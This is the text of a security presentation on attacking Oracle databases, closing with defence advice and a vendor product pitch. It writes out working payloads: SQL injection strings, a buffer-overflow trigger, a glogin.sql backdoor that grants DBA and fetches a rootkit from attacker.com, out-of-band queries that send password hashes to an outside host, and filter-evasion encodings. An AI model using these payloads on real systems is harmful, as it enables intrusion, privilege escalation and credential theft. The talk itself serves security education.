Hack Your Database
Before The Hackers Do
Slavik Markovich
CTO, Sentrigo
About Me
Co-founder and CTO of Sentrigo
Frequent presenter in Oracle and Security
conferences
DBA since 1996
Creator of FuzzOr – a free Oracle Fuzzer
http://www.slaviks-blog.com
Agenda
Common DB Attack Vectors
SQL Injection in Oracle
Exploiting SQL Injection
• In-band
• Out-of-band
• Blind
Advanced Techniques
SQL Injection within the database
Protecting against SQL injection
Security Problems
Weak / default passwords + poorly encrypted
Misconfigurations
Missing security patches/patchsets/old versions/0days
Excessive privileges
Unsecured Listener
External resources
• Contractors, outsourcing, etc.
No internal network boundaries
No encryption of data in motion and at rest
No monitoring of access and logs
Database Attack Vectors
OS attacks
Network attacks
SQL Injection
• Many types and methods
Buffer Overflows
DB Engine bugs
Password attacks
Coffee Attack
OS Attacks
Direct file access
• Bypassing AAA
• DoS
• Blackmail
Binary patching
• Rootkits / back doors
Memory direct access
Process attacks
Client attacks
Network Attacks
Buffer Overflows
DoS
Reconnaissance
Protocol Violations
Buffer Overflows
declare
buff varchar2(32767);
begin
/* generate evil buffer */
buff:='12345678901234567890123456789';
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||'0012345678901234567890123sh2kerr';
/* lets see the buffer size */
dbms_output.put_line('BUFFER SIZE:'||Length(buff));
xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);
end;
Database Engine Bugs
By using specially crafted views it is
possible to insert/update/delete data
from/into a table without having the
appropriate Insert/Update/Delete-Privileges
– Patched CPU July 2007
Database Engine Bugs – Cont'
create view hackdual as
select * from dual
where dummy in (select * from dual);
delete from hackdual;
create view em_em as
select e1.ename,e1.empno,e1.deptno
from scott.emp e1, scott.emp e2
where e1.empno=e2.empno;
delete from em_em;
Password Attacks
Intercept Password (hash) on the network (e.g Wireshark)
Watching the keyboard (e.g. Shoulder surfing, camera)
Keylogger (e.g. Software, USB, PS/2 or built into the
keyboard)
Brute force attack (e.g. with woraauthbf)
Dictionary attack (e.g. with checkpwd or repscan)
Rainbow Table attack (e.g. with ophcrack or cain)
Dictionary based rainbow table attack (e.g. repscan or
ophcrack)
Authentication attack (e.g. with woraauthbf or orakel)
Choosing Passwords
Oracle Passwords are often identical for many databases
DBAs have the problem to choose passwords for several
different databases
At least 4 passwords per database (SYS, SYSTEM,
OUTLN and DBSNMP) must be choosen
Nobody can remember hundreds of different and good
passwords
Most DBAs are using the same password for ALL
databases. If you have 1 password, you have access to all
databases
Choosing Passwords
Common Approaches for Oracle
Databases
• Choose the same password for every database
• Use a password schema using a prefix/postfix
P=production, T=test, E=education (e.g Tpassword)
• Append the SID(e.g. Passwordora902)
• Use the computer name (e.g. passwordUNIX04)
Check password strength
• http://www.securitystats.com/tools/password.php
The Human Factor – Coffee Attack
Wait for your DBA to go for a coffee break
Search the file login.sql or glogin.sql on the
DBA workstation
Add –“drop user system cascade” or
(“@http://www.attacker.com/installrootkit.sq
l” or
-------------glogin.sql-------------------------
set term off
grant dba to SLAVIK identified by OWNYOURDB;
set term on
-------------glogin.sql-------------------------
0day Attacks
Reported by David Litchfield
* Weaponize Java Output
SELECT
DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbm
s/DbmsJava','SYS', 'writeOutputToFile','TEXT', NULL,
NULL, NULL, NULL, 0, 1, 1, 1, 1, 0,
'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE
IMMEDIATE ''GRANT DBA TO PUBLIC''; END;', 'BEGIN
NULL; END;') FROM DUAL;
* Call publicly available Java package
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW(
'NO_SUCH_SUBSCRIPTION', SYSDATE());
SQL Injection - Wikipedia
A technique that exploits a security
vulnerability occurring in the
database layer of an application.
The vulnerability is present when user
input is either incorrectly filtered for
string literal escape characters
embedded in SQL statements or
user input is not strongly typed and
thereby unexpectedly executed.
Breach Example - Heartland
4 or more criminals (one previously convicted
in TJX and many more hacks) hacked into
outward facing application using SQL Injection
Used backend SQL server to take control of
other systems
Found workstation with VPN connection open to
payment systems
Result: estimated 130 million credit
and debit card numbers stolen
from databases
Could it be stopped?
SQL Injection
Exists in any layer of any application
• C/S and Web Applications
• Stored program units
● Built in
● User created
Has many forms
• Extra queries, unions, order by, sub
selects
Simple Example
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
"select * from user_details where user_name
= '" + username + "' and password = '" +
password + "'");
username = "' or 1=1 --"
What's Unique About Oracle - I
No stacked queries
• Cannot add “; do something nasty”
select * from AdventureWorks.HumanResources.Employee where
EmployeeID = 1; EXEC master.dbo.xp_sendmail
@recipients=N'[email protected]',
@query = N'select user, password from sys.syslogins
where password is not null' ;
• Unless you get really lucky to be injected into
PL/SQL
What's Unique About Oracle - II
Native error messages are not controlled
• SQL Server
select * from users where username = ''
having 1=1 -- and password = ''
Msg 8120, Level 16, State 1, Line 1
Column 'users.username' is invalid in the
select list because it is not contained in
either an aggregate function or the GROUP BY
clause.
What's Unique About Oracle - III
No easy way to escape DB to OS
• No convenient xp_cmdshell
No easy way to do time based blind SQL
injection (more later)
• No convenient WAITFOR DELAY
Although very large attack surface, very
hard to take advantage from within
SELECT statements
Identifying SQL Injection - Web
Find a target via Google ("Google dorks")
• ociparse, ociexecute, OCIStmtExecute
• ORA-01756, 907, 933, 917, 900, 903, 906,
923, 970, 1742, 1789
• Oracle+JDBC+Driver
• inurl:/pls/portal30
Web application security scanner
(Acunetix, Pangolin, SQLMap)
Manually
• Pass in '
SQL Injection Types
In band – Use injection to return extra data
• Part of normal result set (unions)
• In error messages
Out of band – Use alternative route like
UTL_HTTP, DNS to extract data
Blind / Inference – No data is returned but
the hacker is able to infer the data using
return codes, error codes, timing
measurements and more
SQL Injection In-Band - Unions
In the previous example pass username as
"' and 1=0 union select banner from
v$version where rownum = 1 --"
So the statement becomes
select * from user_details where user_name =
'' and 1=0 union select banner from
v$version where rownum = 1 --' and password
= ''
Find number of columns by adding nulls to
the column list or by using order by #
SQL Injection In-Band – Errors - I
SQL> select utl_inaddr.get_host_name('127.0.0.1') from
dual;
localhost
SQL> select utl_inaddr.get_host_name((select
username||'='||password
from dba_users where rownum=1)) from dual;
select utl_inaddr.get_host_name((select
username||'='||password from dba_users where rownum=1))
from dual
*
ERROR at line 1:
ORA-29257: host SYS=8A8F025737A9097A unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
SQL Injection In-Band – Errors - II
utl_inaddr.get_host_name is blocked by
default on newer databases
Many other options
• dbms_aw_xml.readawmetadata
• ordsys.ord_dicom.getmappingxpath
• ctxsys.drithsx.sn
' or dbms_aw_xml.readawmetadata((select
sys_context('USERENV', 'SESSION_USER') from
dual), null) is null --
SQL Injection Out-of-band
Send information via HTTP to an external site via
HTTPURI
select HTTPURITYPE('http://www.sentrigo.com/'||
(select password from dba_users where rownum=1) ).getclob()
from dual;
Send information via HTTP to an external site via utl_http
select utl_http.request ('http://www.sentrigo.com/'||
(select password from dba_users where rownum=1)) from dual;
Send information via DNS (max. 64 bytes) to an external
site
select utl_http.request ('http://www.'||(select password
from dba_users where rownum=1)||'.sentrigo.com/' )
from dual;
DNS-Request: www.8A8F025737A9097A.sentrigo.com
Blind SQL Injection - I
A guessing game
Binary results – either our
guess is true or it is false
Requires many more
queries
• Time consuming and
resource consuming
• Can benefit from
parallelizing
• Must be automated
Blind SQL Injection - I
Pseudo-Code:
If the first character of the sys-hashkey is a
'A'
then
select count(*) from all_objects,all_objects
else
select count(*) from dual
end if;
Blind SQL Injection - II
Either use decode or case statements
Customary used with short or long queries
since dbms_lock.sleep is not a function
Can be used with functions that receive a
timeout like dbms_pipe.receive_message
' or 1 = case when substr(user, 1, 1) = 'S'
then dbms_pipe.receive_message('kuku', 10)
else 1 end --
' or 1 = decode(substr(user, 1, 1) = 'S',
dbms_pipe.receive_message ('kuku', 10), 1)
Advanced Techniques – Evasion - I
Concatenation
' or dbms_aw_xml.readawmetadata((select sys_context('US' ||
'ERENV', 'SESS' || 'ION_US' || 'ER') from dual), null) is
null --
Changing case
' or dbMS_aW_xMl.reAdaWmetaData((select sYS_cONtExt('US' ||
'ERENV', 'SESS' || 'ION_US' || 'ER') from dUAl), null) is
null –
Using alternative functions
• Instead of UTL_INADDR
• dbms_aw_xml.readawmetadata
• ordsys.ord_dicom.getmappingxpath
• ctxsys.drithsx.sn
Advanced Techniques – Evasion - II
Conversions
• Translate
begin
dbms_output.put_line(translate('userenv','qwertyuiopasdfghj
klzxcvbnm(),.0123456789|;[]''','][;|9876543210.,)
(mnbvcxzlkjhgfdsapoiuytrewq~'));end;
72;|;zc
• CHR
' or dbms_aw_xml.readawmetadata((select
sys_context(chr(85)||chr(83)||chr(69)||chr(82)||chr(69)||
chr(78)||chr(86), chr( 68)||chr(66)||chr(95)||chr(78)||
chr(65)||chr(77)||chr(69)) from dual), null) is null --
• Base64
dbms_output.put_line(utl_encode.text_encode('userenv',
'WE8ISO8859P1', UTL_ENCODE.BASE64));end;
/
dXNlcmVudg==
Advanced Techniques – Evasion - III
Comments instead of spaces
'/**/or/**/dbms_aw_xml.readawmetadata((select/**/sys_contex
t(chr(85)||chr(83)||chr(69)||chr(82)||chr(69)||chr(78)||
chr(86), chr( 68)||chr(66)||chr(95)||chr(78)||chr(65)||
chr(77)||chr(69))/**/from/**/dual),null)/**/is/**/null--
Randomization
• All of the above techniques used in random
Advanced Techniques – Data - I
Combining multiple rows into one result
• STRAGG – available from 11g, sometimes
available as a custom function in earlier
versions. Be careful as the implementation
seems to be buggy and can crash your
session.
' or dbms_aw_xml.readawmetadata((select
sys.stragg(username || ',') from all_users),
null) is null --
Advanced Techniques – Data - II
Combining multiple rows into one result
• XML
' or dbms_aw_xml.readawmetadata((select xmltransform
(sys_xmlagg(sys_xmlgen(username)),xmltype('<?xml
version="1.0"?><xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:templ
ate match="/"><xsl:for-each
select="/ROWSET/USERNAME"><xsl:value-of
select="text()"/>;</xsl:for-
each></xsl:template></xsl:stylesheet>')).getstringval()
listagg from all_users), null) is null --
Advanced Techniques – Data - III
Combining multiple rows into one result
• Connect By
' or dbms_aw_xml.readawmetadata((SELECT SUBSTR
(SYS_CONNECT_BY_PATH (username, ';'), 2) csv FROM (SELECT
username , ROW_NUMBER() OVER (ORDER BY username ) rn, COUNT
(*) OVER () cnt FROM all_users) WHERE rn = cnt START WITH
rn = 1 CONNECT BY rn = PRIOR rn + 1
), null) is null --
SQL Injection – PL/SQL
Two execution modes
• Definer rights
• Invoker rights
Source code not always available
• There are several un-wrappers available
• One can find injections without source
• Find dependencies
• Trial and error
• v$sql
• Fuzzer
• Oracle Patches
Demo Procedure
SQL Injection – Inject SQL
SCOTT> set serveroutput on
SCOTT> exec sys.retrieve_data_bad('SCOTT', 'EMP', 1)
EMPNO = 7369
ENAME = SMITH
JOB = CLERK
MGR = 7902
HIREDATE = 17-DEC-80
SAL = 800
COMM =
DEPTNO = 20
SQL Injection – Inject SQL
SCOTT> exec sys.retrieve_data_bad('dual where 1=2 union
select name || '':'' || password from user$ where user#
= 0--', null);
DUMMY = SYS:8A8F025737A9097A
SELECT * FROM dual where 1=2 union select name || ':' ||
password from user$ where user# = 0--. WHERE ROWNUM <= 10
SQL Injection – Inject Functions
CREATE OR REPLACE FUNCTION attack
RETURN VARCHAR2
AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
RETURN '1';
END attack;
/
SQL Injection – Inject Functions
SCOTT> exec sys.retrieve_data_bad('dual where ''x'' =
scott.attack() --', null)
PL/SQL procedure successfully completed.
SCOTT> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
--------------------- ------------------------ --- --- ---
SCOTT DBA NO YES NO
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO
* The resulting SQL
SELECT * FROM dual where 'x' = scott.attack() --. WHERE ROWNUM <=
10
SQL Injection – Cursor Injection
DECLARE
l_cr NUMBER;
l_res NUMBER;
BEGIN
l_cr := dbms_sql.open_cursor;
dbms_sql.parse(l_cr,
'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT dba to public''; END;',
dbms_sql.native);
sys.retrieve_data_bad('dual where 1 = dbms_sql.execute('
|| l_cr || ') --', null);
END;
/
* Does not work in 11g
SQL Injection – IDS Evasion
DECLARE
l_cr NUMBER;
l_res NUMBER;
BEGIN
l_cr := dbms_sql.open_cursor;
dbms_sql.parse(l_cr,
translate('1;vm3|; 4|3.l3 3795z5l572_9|3z23v965ze x;.6z
;b;v79; 6ll;1639; ~.|3z9 1x3 95
47xm6v~e ;z1e',
'][;|9876543210.,)(mnbvcxzlkjhgfdsapoiuytrewq~',
'qwertyuiopasdfghjklzxcvbnm(),.0123456789|;[]'''),
dbms_sql.native);
sys.retrieve_data_bad('dual where 1 = dbms_sql.execute(' ||
l_cr || ') --', null);
END;
/
Defense - Developers
Use static SQL – 99% of web applications should never
use dynamic statements
Use bind variables – where possible
Always validate user/database input for dynamic
statements (dbms_assert)
Be extra careful with dynamic statements - get 3 people
who do not like you to review and approve your code
Use programmatic frameworks that encourage (almost
force) bind variables
• For example: Hibernate (Java O/R mapping)
Database schema for your application should have
minimal privileges
Defense - Developers
Avoid hard-coding username/password
Wrap sensitive/important program code – even if not
really safe
Use fully qualified names for function and procedure
calls
Use invoker rights
Be careful with file access
Be careful with OS command execution
Never return DB errors to the end-user
Defense - Managers
Setup secure coding policies for the
different languages
Make the coding policies part of every
contract –external and internal
Default document for all developers
OWASP guides, DISA stigs
Defense - DBAs
Apply patch sets, upgrades and CPUs
• Easier said than done
Check for default and weak passwords regularly
Secure the network
• Listener passwords
• Valid node checking + firewall
Use encryption where appropriate
Install only what you use, remove all else
• Reduce your attack surface
The least privilege principle
• Lock down packages
System access, file access, network access
Defense - Awareness
Think like a hacker
• Learn about exploits
• Always look for security issues
Configuration, permissions, bugs
Learn and use available tools
• SQLMap, Pangolin, Matrixay, darkOraSQLi.py,
SQLPowerInjector, mod_security, OAK,
bfora.pl, checkpwd, orabf, nmap, tnsprobe,
WinSID, woraauthbf, tnscmd, Inguma,
Metasploit, Wireshark, Hydra, Cryptool, etc.
Defense - Hedgehog
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• Virtual patching
• SQL Injection protection
• Fine grain auditing
• Centralized management
• More…
Try Repscan
• Weak passwords
• Missing patches / CPUs
• Malware detection
• More...
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